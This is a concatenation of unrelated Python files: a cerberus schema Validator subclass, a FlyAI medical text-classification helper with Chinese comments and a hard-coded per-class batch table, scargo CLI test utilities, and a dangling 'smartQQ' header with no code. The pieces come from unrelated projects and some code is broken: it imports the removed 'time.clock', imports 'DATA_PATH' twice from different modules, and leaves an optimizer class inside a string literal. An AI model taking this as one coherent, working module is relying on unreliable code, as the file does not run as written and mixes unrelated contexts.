import warnings
import cerberus
import json
from collections import OrderedDict
from .utils import kind_schema
warnings.simplefilter("ignore", UserWarning)

def deepcopy(val):
    # Need to optimize...
    def traverse(val):
        output = None
        if isinstance(val, dict):
            output = {}
            for k, v in val.items():
                output[k] = traverse(v)
        elif isinstance(val, list):
            output = []
            for _ in val:
                output.append(traverse(_))
        else:
            output = json.loads(json.dumps(val))
        return output
    return traverse(val)

# Way 1: using cerberus API
class Validator(cerberus.Validator):
    def __init__(self, schema, *args, **kwargs):
        super().__init__(schema, *args, **kwargs)

    def validate(self, document, schema=None, update=False, normalize=True):
        schema = schema or self.schema
        if schema and '__root__' in schema:
            document = {'__root__': document}
        result = super(Validator, self).validate(document, schema, update=update, normalize=normalize)
        if '__root__' in self.document:
            # Unwrap.
            self.document = self.document['__root__']
            for e in self._errors:
                e.schema_path = tuple(e.schema_path[1:])
                if len(e.document_path) > 1:
                    e.document_path = tuple(e.document_path[1:])
        return result

    def normalized(self, document, schema=None, *args, **kwargs):
        if 'ordered' in kwargs:
            self._config['_ordered'] = kwargs.get('ordered', False)
            del kwargs['ordered']
        if not schema: schema = deepcopy(dict(self.schema))
        if schema and '__root__' in schema:
            document = {'__root__': document}
        for k, v in schema.items():
            if isinstance(v, dict):
                selector_schema = v.get('selector')
                if selector_schema and len(selector_schema):
                    kind = document.get(k, {}).get('kind', '').lower()
                    if not kind in selector_schema:
                        kind = next(iter(selector_schema))  # default schema
                    # Replace
                    v['schema']=v['selector'][kind]
                    del v['selector']
                    v['schema']['kind'] = kind_schema(kind)
        try:
            result = super(Validator, self).normalized(document, schema, *args, **kwargs)
        except:
            result = document
        if self._config.get('_ordered'):
            result = OrderedDict(sorted(result.items(), key=lambda x: self.schema.get(x[0],{}).get('order', float('inf'))))
        if '__root__' in result:
            result = result['__root__']
        return result

    def normalized_by_order(self, document, schema=None, *args, **kwargs):
        return self.normalized(document, schema, ordered=True, *args, **kwargs)

    def _validate_order(self, constraint, field, value):
        '''For use YAML Editor'''

    def _validate_selector(self, constraint, field, value):
        value = value or {}
        kind = value.get('kind', '').lower()
        if not kind in constraint: kind = next(iter(constraint.keys()))
        schema = constraint.get(kind)
        schema['kind'] = kind_schema(kind)
        validator = self._get_child_validator(field, (field, kind), schema=schema)
        if not validator(value, update=self.update, normalize=hasattr(self, 'document')):
            self._error(field, cerberus.errors.ERROR_GROUP, validator._errors)

# Way 2: Reconstruct schema and replace

# class Validator(cerberus.Validator):
#     def __init__(self, schema, *args, **kwargs):
#         super().__init__(schema, *args, **kwargs)
#         # self._selector_list, self._schema_map
#         if not self.is_child and not self.is_fork:
#             self._prepare_schema()

#     @property
#     def is_fork(self):
#         return self._config.get('_fork')

#     @property
#     def is_ordered(self):
#         return self._config.get('_ordered')

#     def _prepare_schema(self, schema=None):
#         schema_map = {}
#         selector_list = []
#         def attach_kind(doc):
#             default_key = next(iter(doc)).title()
#             for k, v in doc.items():
#                 v['kind'] = {
#                     'type': 'string',
#                     'allowed': [k.title()],
#                     'default': default_key,
#                     'order': 0
#                 }
#         def traverse(doc, path=[], fullpath=[], is_metadata=False):
#             if isinstance(doc, dict) or isinstance(doc, cerberus.schema.DefinitionSchema):
#                 if is_metadata:
#                     schema_map['.'.join(path)] = doc
#                     for k, v in doc.items():
#                         if k == 'selector':
#                             selector_list.append({
#                                 'doc_path': path,
#                                 'base_path': fullpath[:-1] if path[-1] == '*' else fullpath,
#                                 'valuesrules': path[-1] == '*',
#                             })
#                             attach_kind(v)
#                         if k in ['schema']:
#                             traverse(v, path, fullpath+[k], False)
#                         elif k in ['selector']:
#                             for _ in v:
#                                 traverse(v[_], path+[f"[{_}]"], fullpath+["schema"], False)
#                         elif k in ['valuesrules']:
#                             traverse(v, path+['*'], fullpath+[k], True)
#                 else:
#                     for k, v in doc.items():
#                         traverse(v, path+[k], fullpath+[k], True)
#         if schema: self.schema = schema
#         traverse(self.schema)
#         self._schema_map = schema_map
#         self._selector_list = selector_list

#     def _freeze_schema(self, document):
#         frozen = json.loads(json.dumps(dict(self.schema)))
#         def get_kind(doc, path, stack=[]):
#             if path:
#                 key = path.pop(0)
#                 if key[0] == '[' and key[-1] == ']':
#                     kind = key[1:-1]
#                     if kind == doc.get('kind').lower():
#                         yield from get_kind(doc, path, stack+[key])
#                 elif key == '*':
#                     for k in doc:
#                         yield from get_kind(doc.get(k), path, stack+[k])
#                 else:
#                     yield from get_kind(doc.get(key), path, stack+[key])
#             else:
#                 yield stack[-1], doc.get('kind')
#         removal_path = set([])
#         for i in self._selector_list:
#             base = frozen
#             for _ in i['base_path']:
#                 base = base[_]
#             if i['valuesrules']:
#                 base['schema'] = base.get('schema', {})
#                 for key, kind in get_kind(document, json.loads(json.dumps(i['doc_path']))):
#                     base['schema'][key] = {
#                         'type': 'dict',
#                         'schema': base['valuesrules']['selector'][kind.lower()]
#                     }
#                     removal_path.add('.'.join(i['base_path']+['valuesrules']))
#             else:
#                 for key, kind in get_kind(document, json.loads(json.dumps(i['doc_path']))):
#                     base['schema'] = base['selector'][kind.lower()]
#                     removal_path.add('.'.join(i['base_path']))
#         for _ in removal_path:
#             base = frozen
#             for path in _.split('.'):
#                 base = base[path]
#             del base['selector']
#         return frozen

#     def validate(self, document, schema=None, update=False, normalize=True):
#         if self.is_child or self.is_fork:
#             result = super(Validator, self).validate(document, update=update, normalize=normalize)
#         else:
#             if schema: self._prepare_schema(schema)
#             if self.schema and '__root__' in self.schema:
#                 document = {'__root__': document}
#             schema = self._freeze_schema(document)
#             self._validator = self.__class__(schema, allow_unknown=self.allow_unknown, purge_unknown=self.purge_unknown, require_all=self.require_all, _fork=True)
#             result = self._validator.validate(document, update=update, normalize=normalize)
#             self.document = self._validator.document
#             self._errors = self._validator._errors
#             if '__root__' in self.document:
#                 # Unwrap.
#                 self.document = self.document['__root__']
#                 for e in self._errors:
#                     e.schema_path = tuple(e.schema_path[1:])
#                     if len(e.document_path) > 1:
#                         e.document_path = tuple(e.document_path[1:])
#         return result

#     def normalized(self, document, schema=None, *args, **kwargs):
#         if self.is_child or self.is_fork:
#             result = super(Validator, self).normalized(document, schema, *args, **kwargs)
#             if self.is_ordered:
#                 result = OrderedDict(sorted(result.items(), key=lambda x: self.schema.get(x[0],{}).get('order', float('inf'))))
#         else:
#             if schema: self._prepare_schema(schema)
#             if self.schema and '__root__' in self.schema:
#                 document = {'__root__': document}
#             schema = self._freeze_schema(document)

#             ordered = kwargs.get('ordered')
#             if ordered is not None: del kwargs['ordered']
#             self._validator = self.__class__(schema, allow_unknown=self.allow_unknown, purge_unknown=self.purge_unknown, require_all=self.require_all, _fork=True, _ordered=ordered)
#             result = self._validator.normalized(document, schema, *args, **kwargs)
#             if '__root__' in result:
#                 result = result['__root__']
#         return result

#     def _kind_schema(self, kind):
#         return {
#             'type': 'string',
#             'allowed': [kind.title()],
#             'default': kind.title(),
#             'order': 0
#         }

#     def normalized_by_order(self, document, schema=None, *args, **kwargs):
#         return self.normalized(document, schema, ordered=True, *args, **kwargs)

#     def _validate_order(self, constraint, field, value):
#         '''For use YAML Editor'''

#     def _validate_selector(self, constraint, field, value):
#         ...


#!/usr/bin/env python
# coding:utf-8
"""
Name : WangyiUtilOnFlyai.py
Author  : 莫须有的嚣张
Contect : 291255700
Time    : 2019/7/28 上午9:42
Desc:
"""
from time import clock

import matplotlib.pyplot as plt
import pandas as pd
from PIL import Image
from flyai.source.base import DATA_PATH

from data_helper import *
from hyperparameter import random_per_epoch, reduce_lr_per_epochs, num_classes, train_vs_val
from path import DATA_PATH

DATA_ID = 'MedicalClass'

# 保留的图片中心的比例，如80%，写0.8，同时在prediction.py里要做修改
center_scale = 0.85

def get_1_x_data(image_path):
    img = Image.open(os.path.join(DATA_PATH, DATA_ID, image_path))

    return img

def get_1_y_data(label):

    return label

'''

lr_level = [
    3e-4,
    0.0001,
    # 3e-5,
    # 1e-5,
]

optimizer_level = [
    'sgd',
    'rmsprop',
    'adagrad',
    # 'adadelta',
    'adam',
    # 'adamax'
]

optimizer_name = {
    'sgd': optmzs.SGD,
    'rmsprop': optmzs.RMSprop,
    'adagrad': optmzs.Adagrad,
    # 'adadelta': optmzs.Adadelta,
    'adam': optmzs.Adam,
    # 'adamax': optmzs.Adamax
}

class OptimizerByWangyi():
    def __init__(self):
        self.optimizer_iterator = 0
        self.lr_iterator = 0
        self.pationce_count = 0
        self.lr_level = 0  # 在训练时判断后+1 使用
        self.now_optimizer = None
        self.now_opt_name = None  # 当前的优化器
        self.now_opt_lr = None  # 当前的学习率
        self.now_opt_name_lv = -1  # 当前的优化器索引
        self.now_opt_lr_lv = -1  # 当前的学习率索引

    def get_create_optimizer(self, name, lr_num):
        if name is None or lr_num <= 0:
            raise ValueError('请指定正确的优化器/学习率')

        self.now_optimizer = optimizer_name[name]
        self.now_opt_name = name
        self.now_opt_lr = lr_num
        self.now_opt_name_lv = optimizer_level.index(name)
        self.now_opt_lr_lv = lr_level.index(lr_num)
        print('采用了优化器：', name, '--学习率:', lr_num)
        return self.now_optimizer, lr_num

    def get_next(self, optimzer=None, lr=None):

        if optimzer is not None:
            name_1 = optimzer
        else:
            name_1 = optimizer_level[self.optimizer_iterator]

        if lr is not None:
            lr_1 = lr
        else:
            lr_1 = lr_level[self.lr_iterator]

        x = self.get_create_optimizer(name_1, lr_1)

        self.lr_iterator = (self.lr_iterator + 1) % len(lr_level)
        if self.lr_iterator == 0:
            self.optimizer_iterator = (self.optimizer_iterator + 1) % len(optimizer_level)
        return x

    def get_random_opt(self):
        name = np.random.randint(0, len(optimizer_name))
        lr = np.random.randint(0, len(lr_level))
        print('启动随机de学习率')
        # self.now_opt_name = name
        # self.now_opt_lr = lr
        return self.get_create_optimizer(optimizer_level[name], lr_level[lr])

    def reduce_lr_by_loss_and_epoch(self, get_loss, get_epoch):
        tmp_opt = None

        # 多少个epochs后启动随机学习率，对应Warmup Scheduler的实现
        if get_epoch % random_per_epoch == random_per_epoch - 1:
            print('经过%d epochs：' % random_per_epoch)
            tmp_opt = self.get_random_opt()

        # 每此学习率都能规律下降，例如1e-3 到 1e-4 到1e-5

        if get_epoch < random_per_epoch:
            pass
        elif (get_epoch % random_per_epoch) % reduce_lr_per_epochs == reduce_lr_per_epochs - 1:
            # 降低学习率
            self.now_opt_lr_lv = (self.now_opt_lr_lv + 1) % len(lr_level)  # lr_level的范围
            print('经过%d epochs降低学习率' % reduce_lr_per_epochs)
            tmp_opt = self.get_create_optimizer(self.now_opt_name, lr_level[self.now_opt_lr_lv])

        # 调整学习率，且只执行一次
        if get_loss < 0.4 and self.lr_level < 1:
            print('train loss 低于 %.1f' % 0.4)
            tmp_opt = self.get_create_optimizer(name='adagrad', lr_num=1e-4)
            self.lr_level = 1

        elif get_loss < 0.1 and self.lr_level < 2:
            print('train loss 低于 %.1f' % 0.1)
            tmp_opt = self.get_create_optimizer(name='sgd', lr_num=3e-4)
            self.lr_level = 2

        return tmp_opt
'''

class dynamicBatchSize():
    def __init__(self, num_class):
        self.n = num_class
        self.now_batch = [1] * num_class

    def getSizebyAcc(self, acc, wrong_acc=None):
        normal_batch = [
            7 ,  # 0
            160 	,  # 1
            173 	,  # 2
            117 	,  # 3
            142 	,  # 4
            3 	,  # 5
            87 	,  # 6
            86 	,  # 7
            62 	,  # 8
            10 	,  # 9
            135 	,  # 10
            6 	,  # 11
            747 	,  # 12
            133 	,  # 13
            293 	,  # 14
            11 	,  # 15
            36 	,  # 16
            84 	,  # 17
            40 	,  # 18
            1 	,  # 19
            128 	,  # 20
            133 	,  # 21
            86 	,  # 22
            115 	,  # 23
            17 	,  # 24
            114 	,  # 25
            5 	,  # 26
            22 	,  # 27
            4 	,  # 28
            149 	,  # 29
            200 	,  # 30
            109 	,  # 31
            79 	,  # 32
            4 	,  # 33
            6 	,  # 34
            2 	,  # 35
            16 	,  # 36
            147 	,  # 37
            18 	,  # 38
            7 	,  # 39
            10 	,  # 40
            58 	,  # 41
            20 	,  # 42
            144 	,  # 43
            47 	,  # 44
            40 	,  # 45
            2 	,  # 46
            69 	,  # 47
            11 	,  # 48
            11 	,  # 49
            34 	,  # 50
            20 	,  # 51
            5 	,  # 52
            14 	,  # 53
            33 	,  # 54
            36 	,  # 55
            63 	,  # 56
            31 	,  # 57
            12 	,  # 58
            17 	,  # 59
            3 	,  # 60
            29 	,  # 61
            55 	,  # 62
            23 	,  # 63
            55 	,  # 64
            3 	,  # 65
            26 	,  # 66
            5 	,  # 67
            16 	,  # 68
            9 	,  # 69
            4 	,  # 70
            34 	,  # 71
            3 	,  # 72
            2 	,  # 73
            3 	,  # 74
            15 	,  # 75
            1 	,  # 76
            3 	,  # 77
            6 	,  # 78
            3 	,  # 79
            4 	,  # 80
            11 	,  # 81
            14 	,  # 82
            6 	,  # 83
            3 	,  # 84
            5 	,  # 85
            4 	,  # 86
            2 	,  # 87
            2 	,  # 88
            9 	,  # 89
            1 	,  # 90
            7 	,  # 91
            2 	,  # 92
            1 	,  # 93
            2 	,  # 94
            2 	,  # 95
            9 	,  # 96
            5 	,  # 97
            1 	,  # 98
            2 	,  # 99
            4 	,  # 100
            7 	,  # 101
            3 	,  # 102
            5 	,  # 103
            8 	,  # 104
            2 	,  # 105
            6 	,  # 106
            4 	,  # 107
            9 	,  # 108
            1 	,  # 109
            2 	,  # 110
            1 	,  # 111
            1 	,  # 112
            1 	,  # 113
            1 	,  # 114
            2 	,  # 115
            4 	,  # 116
            1 	,  # 117
            3 	,  # 118
            6 	,  # 119
            1 	,  # 120
            1 	,  # 121
            1 	,  # 122
            1 	,  # 123
            1 	,  # 124
            1 	,  # 125
            1 	,  # 126
            4 	,  # 127
            5 	,  # 128
            1 	,  # 129
            3 	,  # 130
            4 	,  # 131
            2 	,  # 132
            1 	,  # 133
            2 	,  # 134
            4 	,  # 135
            2 	,  # 136
            2 	,  # 137
            1 	,  # 138
            3 	,  # 139
            2 	,  # 140
            1 	,  # 141
            2 	,  # 142
            2 	,  # 143
            1 	,  # 144
            4 	,  # 145
            1 	,  # 146
            1 	,  # 147
            1 	,  # 148
            1 	,  # 149
            1 	,  # 150
            3 	,  # 151
            3 	,  # 152
            1 	,  # 153
            1 	,  # 154
            1 	,  # 155
            1 	,  # 156
            1 	,  # 157
            1 	,  # 158
            3 	,  # 159
            2 	,  # 160
            1 	,  # 161
            2 	,  # 162
            1 	,  # 163
            1 	,  # 164
            1 	,  # 165
            1 	,  # 166
            1 	,  # 167
            1 	,  # 168
            1 	,  # 169
            1 	,  # 170
            1 	,  # 171
            1 	,  # 172
            3 	,  # 173
            1 	,  # 174
            1 	,  # 175
            1 	,  # 176
            1 	,  # 177
            1 	,  # 178
            1 	,  # 179
            2 	,  # 180
            1 	,  # 181
            1 	,  # 182
            1 	,  # 183
            1 	,  # 184
            1 	,  # 185
            1 	,  # 186
            1 	,  # 187
            1 	,  # 188
            1 	,  # 189
            1 	,  # 190
            2 	,  # 191
            1 	,  # 192
            1 	,  # 193
            1 	,  # 194
            1 	,  # 195
            1 	,  # 196
            1 	,  # 197
            1 	,  # 198
            1 	,  # 199
            1 	,  # 200
            1 	,  # 201
            1 	,  # 202
            1 	,  # 203
            1 	,  # 204
            1 	,  # 205
            1 	,  # 206
            1 	,  # 207
            1 	,  # 208
            1 	,  # 209
            1 	,  # 210
            1 	,  # 211
            1 	,  # 212
            1 	,  # 213
            1 	,  # 214
            1 	,  # 215
            1 	,  # 216
            1 	,  # 217
            1 	,  # 218
            1 	,  # 219
            1 	,  # 220
            1 	,  # 221
            1 	,  # 222
            1 	,  # 223
            1 	,  # 224
            1 	,  # 225
            1 	,  # 226
            1 	,  # 227
            1 	,  # 228
            1 	,  # 229
            1 	,  # 230
            1 	,  # 231
            1 	,  # 232
            1 	,  # 233
            1 	,  # 234
            1 	,  # 235
            1 	,  # 236
            1 	,  # 237
            1 	,  # 238
            1 	,  # 239

        ]
        assert 0 <= acc <= 1
        self.now_batch = normal_batch
        # if acc < 0.75:
        #     # self.now_batch = [32] * self.n
        #     self.now_batch = normal_batch
        # elif acc < 0.8:
        #     self.now_batch = [3] * self.n
        # elif acc < 0.85:
        #     # self.now_batch = super_batch
        #     self.now_batch = [2] * self.n
        #
        # elif acc <= 1:
        #      self.now_batch= [1] * self.n

        if wrong_acc is not None and acc >= 0.75:
            wrong_acc_dict = {}
            for i, value in enumerate(wrong_acc):
                #  (value * 221) / normal_batch[1] 各类本身的错误率per wrong count/ per class
                self.now_batch[i] = int(self.now_batch[i] * (value * 240 / normal_batch[i]) + 1)
                wrong_acc_dict[i] = value

            print('val acc:%.4f,wrong acc：' % acc, wrong_acc_dict)

        return self.now_batch

def get_sliceCSVbyClassify_V4(label='label', classify_count=21, split=0.8):
    # 2020-4-24 classify_count 输入label的list

    # 读取数据
    tmp_a = pd.read_csv(os.path.join(DATA_PATH, DATA_ID, 'train.csv'))
    tmp_b = tmp_a.sample(frac=1)

    label_list = tmp_b['label'].values
    title_list = tmp_b['title'].values
    text_list = tmp_b['text'].values

    # 划分训练集和校验集
    all_size = len(label_list)

    # step 2 : 筛选 csv

    list_path_train, list_path_test = [], []
    # for epoch in range(classify_count):
    for epoch,value in enumerate(classify_count):
        # 根据label来筛选
        index = tmp_b[label] == value
        tmp_c = tmp_b[index]
        cut_length = int(len(tmp_c) * split)
        a = tmp_c[: cut_length]
        b = tmp_c[cut_length:]

        path_train = 'wangyi-train-classfy-' + str(epoch) + '.csv'
        a.to_csv(os.path.join(DATA_PATH, DATA_ID, path_train), index=False)
        list_path_train.append(path_train)

        path_test = 'wangyi-test-classfy-' + str(epoch) + '.csv'
        b.to_csv(os.path.join(DATA_PATH, DATA_ID, path_test), index=False)
        list_path_test.append(path_test)

        print('classfy-', epoch, ' : train and test.csv save OK!')

    return list_path_train, list_path_test

def getDatasetListByClassfy_V5(classify_count=21):
    # 2020-3-21 flyai改版本了，这是为了适应

    xx, yy = get_sliceCSVbyClassify_V4(classify_count=classify_count, split=train_vs_val)
    list_train = []
    list_val = []
    train_total_list = []
    val_total_list = []
    for epoch in range(len(classify_count)):
        time_0 = clock()
        # 读取数据
        tmp_train = pd.read_csv(os.path.join(DATA_PATH, DATA_ID, xx[epoch]))
        tmp_val = pd.read_csv(os.path.join(DATA_PATH, DATA_ID, yy[epoch]))

        # dataset = Lib(source=readCustomCsv_V3(xx[epoch], yy[epoch]), epochs=10)
        list_train.append(tmp_train)
        list_val.append(tmp_val)
        train_total_list.append(len(tmp_train))
        val_total_list.append(len(tmp_val))
        print('class-', epoch, ' 的data 建立成功, 耗时：%.1f 秒' % (clock() - time_0), '; train_length:',
              len(tmp_train), '; val_length:', len(tmp_val))

    return list_train, list_val, train_total_list, val_total_list

class DatasetByWangyi():
    def __init__(self, n):
        self.num_classes = n # n是label unique 的list
        self.dropout = 0.5

        time_0 = clock()
        self.train_pd_list, self.val_pd_list, self.train_total_list, self.val_total_list = getDatasetListByClassfy_V5(
            classify_count=n)
        self.train_step_list = [0] * len(n)
        self.val_step_list = [0] * len(n)

        print('全部分类的flyai dataset 建立成功, 耗时：%.1f 秒' % (clock() - time_0))

        self.train_batch_List = []
        self.val_batch_size = []
        self.data_dict_x = {}
        self.data_dict_y = {}
        self.read_All_to_Memory()

    def set_Batch_Size(self, train_size, val_size):
        self.train_batch_List = train_size
        self.val_batch_size = val_size

    def read_All_to_Memory(self, multitask=False):
        '''
        # 读取数据
        time_1 = clock()
        tmp_a = pd.read_csv(os.path.join(DATA_PATH, DATA_ID, 'train.csv'))
        label_list = tmp_a['label'].values
        title_list = tmp_a['title'].values
        text_list = tmp_a['text'].values
        # 生成x,y，以dict形式存在
        if multitask:
            pass
        else:
            for i, image in enumerate(image_path_list):
                self.data_dict_x[image] = get_1_x_data(image)
                self.data_dict_y[image] = get_1_y_data(label_list[i])
        print('全部图片加载到内存, 耗时：%.1f 秒' % (clock() - time_1))
        return self.data_dict_x, self.data_dict_y

        '''
        pass

    def get_Next_Batch(self):
        # 平衡输出45类数据
        train = self.get_Next_Train_Batch_fromMemory()
        val = self.get_Next_Val_Batch_fromMemory()
        return train ,val

    def get_Next_Train_Batch_fromMemory(self):
        # 平衡输出45类数据
        value_list = []
        # 改成生成list
        for iters in range(len(self.num_classes)):
            for i in range(self.train_batch_List[iters]):
                # 读取数据
                if len(self.train_pd_list[iters]['label'])==0:
                    continue
                # value = self.train_pd_list[iters]['label'].values[self.train_step_list[iters]]
                value = self.train_pd_list[iters].values[self.train_step_list[iters]]
                # print(value)
                value_list.append(value)
                # 修改游标
                self.train_step_list[iters] += 1
                self.train_step_list[iters] = self.train_step_list[iters] % self.train_total_list[iters]
        value_list = np.array(value_list)
        df = pd.DataFrame(value_list)
        df.columns = ['label', 'title', 'text']
        return df

    def get_Next_Val_Batch_fromMemory(self):
        value_list = []
        for iters in range(len(self.num_classes)):
            for i in range(self.val_batch_size[iters]):
                # 读取数据
                if len(self.val_pd_list[iters]['label'])==0:
                    continue
                value = self.val_pd_list[iters].values[self.val_step_list[iters]]
                value_list.append(value)
                # 修改游标
                self.val_step_list[iters] += 1
                self.val_step_list[iters] = self.val_step_list[iters] % self.val_total_list[iters]
        value_list = np.array(value_list)
        df = pd.DataFrame(value_list)
        df.columns = ['label', 'title', 'text']
        return df

def label_smoothing(inputs, epsilon=0.1):
    return (1.0 - epsilon) * inputs + epsilon / num_classes

class drawMatplotlib():
    def __init__(self):
        self.path = None
        self.train_acc_list = []  # x轴，对应每个epoch
        self.val_acc_list = []  # x轴，对应每个epoch
        self.f1_score = []  # x轴，对应每个epoch
        self.train_loss_list = []  # 对应每个epoch
        self.train_loss_list_y = []  # 每次batch训练的train acc
        self.val_loss_list = []  # 对应每个epoch
        self.learn_rate_list_y = []  # 收集用来matplotlib
        self.step_train_x = []  # 收集用来matplotlib
        self.step_val_x = []
        self.epoch_train_x = [] #acc,loss 的y轴坐标
        self.train_length_list = [] #acc,loss 的y轴坐标

    def set_path(self, path):
        self.path = path

    def showPlt(self, best_score_by_acc=0, best_score_by_loss=999, best_epoch=1, best_score_class=None):
        if best_score_class is not None:
            best_score_by_acc = best_score_class.best_score_by_acc
            best_score_by_loss = best_score_class.best_score_by_loss
            best_epoch = best_score_class.best_epoch
            best_f1_score = best_score_class.best_f1_score
        plt.clf()
        plt.figure('train and validate Accuracy')
        plt.figure(figsize=(12 + int(len(self.epoch_train_x) / 10), 8))
        plt.subplot(2, 2, 1)
        if best_score_by_acc != 0:
            plt.title('best: acc:%.4f, loss:%.4f, epoch:%d, f1_score:%.4f' % (
            best_score_by_acc, best_score_by_loss, best_epoch + 1, best_f1_score))
        else:
            plt.title('do not satisfy best_score condition')
        plt.xlabel('Epochs')
        plt.ylabel('Accuracy')
        plt.plot(self.epoch_train_x, self.train_acc_list, label='train_acc')
        plt.plot(self.epoch_train_x, self.val_acc_list, label='val_acc')
        plt.plot(self.epoch_train_x, self.f1_score, label='f1_score')
        plt.legend(['train_acc', 'val_acc', 'f1_score'], loc='upper left')

        plt.subplot(2, 2, 2)
        plt.xlabel('Epochs')
        plt.ylabel('Loss')
        plt.plot(self.epoch_train_x, self.train_loss_list, label='train_loss')
        plt.plot(self.epoch_train_x, self.val_loss_list, label='val_loss')
        # plt.plot(self.step_train_x, self.train_loss_list_y, label='per_train_loss')
        plt.legend(['train_loss', 'val_loss', 'per_train_loss'], loc='upper left')

        plt.subplot(2, 2, 3)
        plt.xlabel('Epochs')
        plt.ylabel('learn rate')
        plt.plot(self.step_train_x, self.learn_rate_list_y, label='learn_rate')
        plt.legend(['learn_rate'], loc='upper left')

        plt.subplot(2, 2, 4)
        plt.xlabel('Epochs')
        plt.ylabel('train length')
        plt.bar(self.epoch_train_x, self.train_length_list, label='train_length', align='center', width=0.8)
        plt.legend(['train_length'], loc='upper left')

        if self.path is not None:
            plt.savefig(self.path)
        plt.show()  # You must call plt.show() to make graphics appear.

class bestScore():
    def __init__(self):
        self.best_score_by_acc = 0.
        self.best_score_by_loss = 999.
        self.best_epoch = 0
        self.best_f1_score = 0
        # 保存最佳model的精准度，比如1%的准确范围写1,若2%的保存范围写2
        self.save_boundary = 0.1

    def judge_and_save(self, val_acc, val_loss, epoch, f1_score=None):

        if val_acc > 0.30:
            if f1_score is not None:
                if f1_score >= self.best_f1_score:
                    self.best_score_by_acc = val_acc
                    self.best_score_by_loss = val_loss
                    self.best_epoch = epoch
                    self.best_f1_score = f1_score
                    return True
            elif round(self.best_score_by_acc / self.save_boundary, 2) < round(
                    val_acc / self.save_boundary, 2):
                self.best_score_by_acc = val_acc
                self.best_score_by_loss = val_loss
                self.best_epoch = epoch
                print('【保存了best： acc提升】')
                return True

            elif round(self.best_score_by_acc / self.save_boundary, 2) == round(
                    val_acc / self.save_boundary, 2):
                if round(self.best_score_by_loss / self.save_boundary, 2) >= round(
                        val_loss / self.save_boundary, 2):
                    self.best_score_by_acc = val_acc
                    self.best_score_by_loss = val_loss
                    self.best_epoch = epoch
                    print('【保存了best：acc相同，loss降低】')
                    return True

        return False

    def get_now_best(self):
        return self.best_score_by_acc, self.best_score_by_loss, self.best_epoch

    def print_best_now(self):
        if self.best_score_by_acc == 0:
            print('未能满足best_score的条件')
        else:
            print(
                '当前【best】:acc:%.4f, loss:%.4f, epoch:%d, f1_score:%.4f' % (
                self.best_score_by_acc, self.best_score_by_loss, self.best_epoch + 1, self.best_f1_score))

    def print_best_final(self):
        print('best_score_by_acc :%.4f' % self.best_score_by_acc)
        print('best_score_by_loss :%.4f' % self.best_score_by_loss)
        print('best_score at epoch:%d' % (self.best_epoch + 1))
        print('best_f1_score:%.4f' % self.best_f1_score)

def get_nubclass_from_csv():
    readcsv = pd.read_csv(os.path.join(DATA_PATH, 'MedicalClass/train.csv'))
    file_unique = readcsv['label'].unique()
    list_unique = file_unique.tolist()
    return list_unique

if __name__ == '__main__':
    num_classes = len(get_nubclass_from_csv())
    dataset_wangyi = DatasetByWangyi(get_nubclass_from_csv())
    dataset_wangyi.set_Batch_Size([1]*209,[1]*209)
    train ,val =dataset_wangyi.get_Next_Batch()
    print(train)


import re
import sys
from pathlib import Path
from typing import IO, Any, List, Mapping, Optional, Sequence, Union

import toml
from click.testing import Result
from typer import Typer
from typer.testing import CliRunner

from scargo.config import ProjectConfig
from scargo.docker_utils import prepare_docker
from scargo.global_values import SCARGO_DOCKER_ENV
from scargo.logger import get_logger

logger = get_logger()

class ScargoTestRunner(CliRunner):
    def invoke(  # type: ignore[override]
        self,
        use_cli: Typer,
        args: Optional[Union[str, Sequence[str]]] = None,
        input: Optional[Union[bytes, str, IO[Any]]] = None,
        env: Optional[Mapping[str, str]] = None,
        catch_exceptions: bool = True,
        color: bool = False,
        **extra: Any,
    ) -> Result:
        temp = sys.argv
        if not args:
            sys.argv = ["scargo"]
        elif isinstance(args, str):
            sys.argv = ["scargo", args]
        else:
            sys.argv = ["scargo", *args]
        result = super().invoke(
            use_cli,
            args=args,
            input=input,
            env=env,
            catch_exceptions=catch_exceptions,
            color=color,
            **extra,
        )
        sys.argv = temp
        print(result.output)
        return result

def add_libs_to_toml_file(*libs: str, toml_path: Path = Path("scargo.toml")) -> None:
    data = toml.load(toml_path)
    data["dependencies"]["general"].extend(libs)

    with toml_path.open("w") as f:
        toml.dump(data, f)

def get_project_name(file_path: Path = Path("scargo.toml")) -> str:
    data = toml.load(file_path)
    project_name = data["project"]["name"]

    return project_name  # type: ignore[no-any-return]

def get_project_version(file_path: Path = Path("scargo.toml")) -> str:
    data = toml.load(file_path)
    project_version = data["project"]["version"]

    return project_version  # type: ignore[no-any-return]

def remove_dockerfile_path_from_toml_file(
    toml_path: Path = Path("scargo.toml"),
) -> None:
    data = toml.load(toml_path)
    data["project"]["docker-file"] = ""

    with toml_path.open("w") as f:
        toml.dump(data, f)

def get_copyright_text(file_path: Path = Path("scargo.toml")) -> str:
    data = toml.load(file_path)
    copyright_text = data["check"]["copyright"]["description"]

    return copyright_text  # type: ignore[no-any-return]

def assert_str_in_file(file_path: Path, str_to_check: str) -> bool:
    with open(file_path) as file:
        if str_to_check in file.read():
            return True

    return False

def assert_regex_in_file(file_path: Path, regex: str) -> bool:
    with open(file_path) as file:
        contents = file.read()
        matches = re.findall(regex, contents)
        if bool(matches):
            return True
    return False

def get_bin_name(file_path: Path = Path("scargo.toml")) -> str:
    data = toml.load(file_path)
    bin_name = data["project"]["bin_name"]

    return bin_name  # type: ignore[no-any-return]

def add_profile_to_toml(
    profile: str,
    var: str,
    var2: str,
    value: str,
    value2: str,
    toml_path: Path = Path("scargo.toml"),
) -> None:
    data = toml.load(toml_path)
    temp_dict = dict()
    temp_dict[profile] = {var: value, var2: value2}
    data["profile"].update(temp_dict)
    with toml_path.open("w") as f:
        toml.dump(data, f)

def assert_str_in_CMakeLists(
    str_to_check: str, file_path: Path = Path("CMakeLists.txt")
) -> bool:
    with open(file_path) as file:
        cmakelists_lines = [line.strip() for line in file.readlines()]
        if str_to_check in cmakelists_lines:
            return True

    return False

def run_custom_command_in_docker(
    command: List[str], project_config: ProjectConfig, project_path: Path
) -> Union[str, None]:
    """
    Run command in docker

    :param List[str] command: command to execute
    :param dict project_config: project configuration
    :param Path project_path: path to project root
    :return: None
    """
    build_env = project_config.build_env
    if build_env != SCARGO_DOCKER_ENV or Path("/.dockerenv").exists():
        return None

    docker_settings = prepare_docker(project_config, project_path)

    client = docker_settings["client"]
    logger.info(f"Running '{' '.join(command)}' command in docker.")
    output = client.containers.run(
        docker_settings["docker_tag"],
        command,
        volumes=[f"{project_path}:/workspace/", "/dev/:/dev/"],
        entrypoint=docker_settings["entrypoint"],
        privileged=True,
        remove=True,
        working_dir=str(docker_settings["path_in_docker"]),
    )
    return output.decode()  # type: ignore[no-any-return]


# coding=utf8
# smartQQ接口

